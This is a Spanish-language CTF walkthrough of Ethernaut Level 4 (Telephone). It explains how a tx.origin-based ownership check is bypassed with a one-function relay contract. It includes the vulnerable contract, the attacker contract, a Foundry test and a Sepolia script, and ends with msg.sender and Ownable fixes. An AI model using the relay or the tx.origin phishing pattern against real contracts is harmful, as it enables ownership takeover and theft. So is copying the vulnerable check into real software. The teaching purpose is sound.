Ethernaut Level 4 Walkthrough: Explotando la Autenticación con tx.origin en Solidity
En este artículo, analizaremos y resolveremos Ethernaut Level 4: Telephone.
Este nivel parece trivial: un solo if protegiendo la propiedad del contrato. Pero esa línea esconde uno de los errores de control de acceso más antiguos en Solidity: confundir tx.origin con msg.sender. Si esa confusión queda al revés, el resultado no es solo dejar de proteger la función, es abrir una puerta específicamente para quien esté dispuesto a enrutar la llamada a través de un contrato.
Además de resolver el reto, entenderemos:
- La diferencia real entre
tx.originymsg.sender - Por qué este check específico hace exactamente lo contrario de lo que parece
- Cómo un contrato intermediario de una sola función invierte
tx.origin != msg.sendera verdadero - Cómo validar el exploit con Foundry
- Cómo defenderse eliminando por completo la autenticación basada en
tx.origin
Descripción del Reto
El contrato guarda una dirección owner fijada en el despliegue. Expone una única función pública, changeOwner, que reasigna la propiedad bajo una condición específica.
La meta del reto es:
Reclamar la propiedad (ownership) del contrato.
Clasificación de la Vulnerabilidad
| Categoría | Valor |
|---|---|
| Vulnerabilidad: | Uso de tx.origin para autenticación |
| Causa Raíz: | El check de propiedad compara tx.origin y msg.sender al revés |
| Impacto: | Cualquier llamante puede tomar la propiedad con un contrato intermediario de una línea |
| Severidad: | Crítica |
| Tipo de Ataque: | Bypass de autenticación por tx.origin |
Análisis del Contrato Vulnerable
Este es el contrato vulnerable usado en el reto:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Causa Raíz de la Vulnerabilidad
Toda la vulnerabilidad vive en una condición:
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
A primera vista parece una guarda: "solo continuar si algo se verifica correctamente." Pero hay que mirar qué es lo que realmente permite. changeOwner asigna owner = _owner precisamente cuando tx.origin y msg.sender son distintos. Eso solo ocurre cuando la llamada a Telephone llega a través de un contrato intermediario, no directamente desde una cuenta externa (EOA).
Esto viola un principio central de seguridad en el diseño de smart contracts:
La autorización debe basarse en el llamante inmediato (
msg.sender), nunca en el firmante original de la transacción (tx.origin), porquetx.originno dice nada sobre quién está invocando realmente la llamada actual.
Entendiendo tx.origin vs msg.sender
Para ver por qué falla el check, necesitamos separar los dos globals con precisión.
tx.origines la dirección de la cuenta externa (EOA) que firmó y transmitió la transacción original. Se mantiene constante en toda la cadena de llamadas de esa transacción.msg.senderes la dirección de quien llamó a la función actual. Cambia en cada salto: un contrato que llama a otro contrato se ve a sí mismo comomsg.senderen el receptor.- Cuando una EOA llama directamente a
Telephone.changeOwner,tx.originymsg.senderson la misma dirección. La condición es falsa yownernunca cambia. - Cuando una EOA llama a un contrato intermediario, y ese contrato llama a
Telephone.changeOwner,tx.originsigue siendo la EOA, peromsg.senderahora es la dirección del contrato intermediario. Los dos difieren, la condición es verdadera, yownercambia.
Llamada directa:
Player (EOA) --------------------> Telephone.changeOwner()
tx.origin = Player
msg.sender = Player
tx.origin == msg.sender -> condición falsa, owner sin cambios
Llamada relevada:
Player (EOA) --> Caller (contrato) --> Telephone.changeOwner()
tx.origin = Player
msg.sender = Caller
tx.origin != msg.sender -> condición verdadera, owner cambia
Esta confusión exacta está catalogada en el registro Smart Contract Weakness Classification como SWC-115, "Authorization via tx.origin." Es uno de los antipatrones de Solidity documentados más antiguos, precisamente porque es fácil de escribir y parece correcto en una lectura rápida.
Por Qué los Checks con tx.origin Son Peligrosos
El nivel Telephone demuestra el bypass mecánico, pero la misma primitiva tiene una segunda consecuencia, quizás peor, en código de producción: el phishing.
- Si un contrato autoriza acciones basándose en
tx.origin == owner, un contrato malicioso puede engañar al owner real para que lo llame. Ese contrato malicioso entonces llama al contrato víctima en nombre del owner, ytx.originsigue resolviendo al owner, porque nunca cambia a lo largo de la cadena de llamadas. - Esto significa que los checks con
tx.originno son solo evadibles, pueden usarse activamente como arma contra un usuario legítimo que firma una sola transacción con una wallet que tiene acceso privilegiado en algún otro lugar. msg.senderno tiene esta debilidad: siempre refleja al llamante inmediato, así que un contrato que verificamsg.sender == ownerrechaza correctamente cualquier llamada que no venga directamente de la dirección propia del owner.
El patrón seguro es simple: los checks de autenticación y autorización deben usar msg.sender, punto. tx.origin tiene usos legítimos y acotados (algunos patrones legacy lo verifican para rechazar llamantes que sean contratos), pero nunca debe tratarse como prueba de quién está solicitando una acción.
Estrategia del Ataque
Ahora que entendemos la vulnerabilidad, podemos diseñar el exploit.
Sabemos que:
changeOwnersolo tiene éxito cuandotx.origin != msg.sender.- Llamar a
changeOwnerdirectamente desde nuestra cuenta player mantiene ambos valores idénticos, así que una llamada directa siempre falla en cambiar la propiedad. - Cualquier contrato que llame a
changeOwneren nuestro nombre se convierte en elmsg.senderque veTelephone, mientrastx.originsigue siendo nuestra dirección player. - Solo necesitamos una función en un contrato intermediario que reenvíe la llamada.
Por lo tanto, nuestra estrategia será:
- Desplegar un contrato mínimo con una única función que llame a
Telephone.changeOwner(player). - Llamar a esa función desde nuestra cuenta player.
- Dentro de
Telephone,msg.senderes el contrato intermediario ytx.origines nuestro player, así que la condición es verdadera yownerse fija a nuestra dirección player. - El nivel queda resuelto.
Contrato Atacante
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Telephone} from "src/levels/Telephone.sol";
contract TelephoneCaller {
function attack(address _target, address _newOwner) public {
Telephone(_target).changeOwner(_newOwner);
}
}
Aquí importamos Telephone directamente en lugar de declarar una interfaz mínima, ya que el pragma del nivel (^0.8.0) es totalmente compatible con el resto del toolchain y no hay fricción de versiones que resolver.
attack recibe la instancia objetivo y la dirección que debe convertirse en el nuevo owner, y luego llama a changeOwner sobre el objetivo. Lo único que importa para el exploit es que esta llamada se origine en TelephoneCaller, no directamente en una EOA.
Cómo Funciona el Exploit
Primero, desplegamos TelephoneCaller, un contrato que no hace nada más que reenviar una llamada a Telephone.changeOwner.
Luego, desde nuestra cuenta player, llamamos a TelephoneCaller.attack(instance, player). Internamente, esto dispara Telephone.changeOwner(player).
Como esa llamada interna se origina en TelephoneCaller y no directamente en nuestra cuenta player, msg.sender dentro de Telephone es la dirección del contrato llamante, mientras que tx.origin sigue siendo la dirección de nuestro player durante toda la cadena. La condición tx.origin != msg.sender evalúa a verdadero, y owner se fija a nuestra dirección player.
Sin manipulación de storage, sin fondos, sin timing. Una sola llamada relevada es suficiente.
Validando el Exploit con Foundry
Después de clonar el repositorio de Ethernaut localmente, podemos crear un test de Foundry para validar el exploit.
// SPDX-License-Identifier: MIT
// Telephone_L4.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Telephone} from "src/levels/Telephone.sol";
import {TelephoneFactory} from "src/levels/TelephoneFactory.sol";
import {TelephoneCaller} from "test/Solutions/Attacks/TelephoneCaller.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestTelephone_L4 is Test, Utils {
Ethernaut ethernaut;
Telephone instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
TelephoneFactory factory = new TelephoneFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Telephone(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
vm.stopPrank();
}
function testInit() public {
vm.prank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}
function testSolve() public {
vm.startPrank(player);
// player es tx.origin aqui; el contrato caller se convierte en msg.sender
// dentro de Telephone, asi que tx.origin != msg.sender se cumple y owner cambia.
TelephoneCaller caller = new TelephoneCaller();
caller.attack(address(instance), player);
assertEq(instance.owner(), player);
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Ejecutando el Test
Ejecutamos el test contra un fork de Sepolia:
source .env
forge test --mp test/Solutions/Telephone_L4.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv
Una vez ejecutado, podemos verificar que owner ahora coincide con nuestra dirección player y que el nivel acepta el envío.
Resolviendo el Nivel en Sepolia
Ahora crearemos un script para ejecutar el exploit directamente contra la instancia de Ethernaut.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {TelephoneCaller} from "test/Solutions/Attacks/TelephoneCaller.sol";
import {console} from "forge-std/console.sol";
contract TelephoneScript is Script {
address public target;
TelephoneCaller public caller;
function setUp() public {
target = payable("0xYourEthernautInstance");
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
address player = vm.addr(pk);
vm.startBroadcast(pk);
caller = new TelephoneCaller();
caller.attack(target, player);
console.log("Caller contract:", address(caller));
console.log("New owner:", player);
vm.stopBroadcast();
}
}
Ejecutando el Script
Primero, ejecutamos el script localmente:
forge script scripts/Telephone.s.sol --rpc-url $SEPOLIA_RPC
Si todo funciona correctamente, lo transmitimos a Sepolia:
forge script scripts/Telephone.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv
Una vez que la transacción confirma, owner en la instancia coincide con tu dirección player. Solo falta enviar la instancia en el sitio de Ethernaut.
Cómo Prevenir Esta Vulnerabilidad
La corrección no es una condición más inteligente, es eliminar tx.origin de cualquier lógica de autorización por completo.
Usar msg.sender para autorización
// Vulnerable
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
// Corregido
function changeOwner(address _owner) public {
require(msg.sender == owner, "Not owner");
owner = _owner;
}
msg.sender == owner rechaza correctamente cualquier llamada que no venga directamente de la dirección actual del owner, sea contrato o no, y no puede ser engañado enrutando la llamada a través de un intermediario.
Reservar tx.origin para sus usos legítimos y acotados
Si un diseño realmente necesita detectar si una llamada se originó en una EOA o en un contrato, esa es una pregunta distinta a la de autorización, y nunca debería ser el factor decisivo sobre quién puede cambiar estado privilegiado.
Usar primitivas de control de acceso auditadas
Librerías como Ownable de OpenZeppelin implementan el check de msg.sender de forma correcta y consistente, eliminando la tentación de escribir a mano la lógica de propiedad en cada contrato.
import "@openzeppelin/contracts/access/Ownable.sol";
contract Telephone is Ownable {
function changeOwner(address _owner) public onlyOwner {
transferOwnership(_owner);
}
}
Lecciones Aprendidas
Este reto muestra que una condición de una sola línea puede estar exactamente al revés y aun así compilar, desplegarse, y parecer intencional.
Lecciones clave de este nivel:
tx.originidentifica quién firmó la transacción original, nunca quién está llamando a la función actual.msg.senderes la única señal correcta para "quién me está llamando ahora mismo."- Cualquier check construido alrededor de
tx.origin != msg.sender(o su inverso) merece escrutinio: está razonando sobre mediación por contrato, no sobre identidad. - La autorización basada en
tx.origintambién es un vector de phishing contra usuarios reales, no solo un truco de CTF. - SWC-115 existe precisamente porque este error sigue apareciendo en código de producción.
Conclusión
En este reto, explotamos un check de autenticación con tx.origin que solo concede acceso cuando la llamada se releva a través de un contrato, exactamente lo opuesto a un patrón de control de acceso seguro.
Construimos un contrato intermediario de una sola función que llama a changeOwner en nuestro nombre, haciendo que tx.origin y msg.sender difieran y volcando la propiedad hacia nuestra dirección player.
Este nivel es una excelente introducción a:
- La distinción real entre
tx.originymsg.sender - Por qué los checks basados en
tx.originfallan en ambas direcciones, evadibles y explotables vía phishing - Construir un contrato relay mínimo para demostrar el bypass
- Metodología de exploit real validada con Foundry
- Patrones correctos de propiedad usando
msg.sendery librerías auditadas comoOwnablede OpenZeppelin
Puedes encontrar más contenido de seguridad Web3 en nuestro blog.
Si buscas una auditoría de seguridad para tu protocolo, contáctanos a través de nuestro sitio seclat.xyz.